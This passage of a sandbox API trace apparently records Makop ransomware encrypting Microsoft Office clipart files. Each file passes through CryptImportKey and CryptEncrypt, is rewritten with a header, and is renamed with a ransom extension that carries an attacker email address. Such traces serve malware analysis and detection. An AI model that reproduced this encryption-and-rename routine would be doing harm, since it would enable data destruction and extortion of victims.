office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.252] GetProcessHeap () returned 0x48a0000 [0144.252] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.252] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.252] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.252] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.252] GetProcessHeap () returned 0x48a0000 [0144.253] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.253] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.253] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.253] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.257] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.257] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.258] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.258] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.258] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8c0, lpOverlapped=0x0) returned 1 [0144.258] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0144.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0144.258] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.259] SetEndOfFile (hFile=0xf0) returned 1 [0144.264] GetProcessHeap () returned 0x48a0000 [0144.265] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.265] GetProcessHeap () returned 0x48a0000 [0144.265] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.265] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.265] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.402] CloseHandle (hObject=0xf0) returned 1 [0144.405] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0144.405] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 63 [0144.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.415] GetProcessHeap () returned 0x48a0000 [0144.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.419] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.425] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.426] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.426] GetProcessHeap () returned 0x48a0000 [0144.426] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.427] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.427] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.427] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.427] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.431] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.431] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39f8, lpOverlapped=0x0) returned 1 [0144.433] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a00, dwBufLen=0x3a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a00) returned 1 [0144.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a00, lpOverlapped=0x0) returned 1 [0144.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.434] SetEndOfFile (hFile=0xf0) returned 1 [0144.441] GetProcessHeap () returned 0x48a0000 [0144.441] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.441] GetProcessHeap () returned 0x48a0000 [0144.441] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.441] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.443] CloseHandle (hObject=0xf0) returned 1 [0144.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0144.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF") returned 63 [0144.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.445] GetProcessHeap () returned 0x48a0000 [0144.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.445] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.445] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.445] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0144.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.450] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.450] GetProcessHeap () returned 0x48a0000 [0144.450] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.450] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.450] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.451] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.451] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.451] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.451] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.451] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d2a, lpOverlapped=0x0) returned 1 [0144.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d30, dwBufLen=0x1d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d30) returned 1 [0144.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d30, lpOverlapped=0x0) returned 1 [0144.539] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.539] SetEndOfFile (hFile=0xf0) returned 1 [0144.546] GetProcessHeap () returned 0x48a0000 [0144.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.546] GetProcessHeap () returned 0x48a0000 [0144.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.546] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.549] CloseHandle (hObject=0xf0) returned 1 [0144.549] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0144.549] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF") returned 63 [0144.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.550] GetProcessHeap () returned 0x48a0000 [0144.550] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.551] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.551] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.551] GetProcessHeap () returned 0x48a0000 [0144.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.551] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.551] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.566] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.566] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.566] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.567] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.567] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc70, lpOverlapped=0x0) returned 1 [0144.567] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc70, dwBufLen=0xc70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc70) returned 1 [0144.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc70, lpOverlapped=0x0) returned 1 [0144.567] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.567] SetEndOfFile (hFile=0xf0) returned 1 [0144.574] GetProcessHeap () returned 0x48a0000 [0144.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.574] GetProcessHeap () returned 0x48a0000 [0144.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.574] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.576] CloseHandle (hObject=0xf0) returned 1 [0144.576] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0144.576] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: 